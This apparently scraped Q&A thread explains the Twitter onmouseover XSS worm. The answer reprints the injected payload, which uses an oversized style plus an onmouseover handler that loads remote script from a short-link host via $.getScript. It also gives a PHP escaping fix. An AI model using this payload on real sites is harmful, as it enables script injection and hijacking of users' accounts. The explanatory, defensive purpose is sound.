Today's XSS onmouseover exploit on twitter.com

后端 未结 5 642
爱一瞬间的悲伤
爱一瞬间的悲伤 2020-12-23 09:32

Can you explain what exactly happened on Twitter today? Basically the exploit was causing people to post a tweet containing this link:

http://t.co/@\"style=\"fon         


        
5条回答
  •  野趣味
    野趣味 (楼主)
    2020-12-23 09:54

    Yes this is XSS, it is attacking a javascript event handler. What is cool about this XSS is that it doesn't require <> to exploit. The injected string is: size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')".

    The size::999999999999px makes it very large and there for more likly that someone will mouse over it. The real problem is the onmouseover= event handler.

    To prevent this in PHP you need to convert quote marks into their html entities: $var=htmlspecialchars($var,ENT_QUOTES);

    This is because HTML you cannot escape quotes like sql: \'

提交回复
热议问题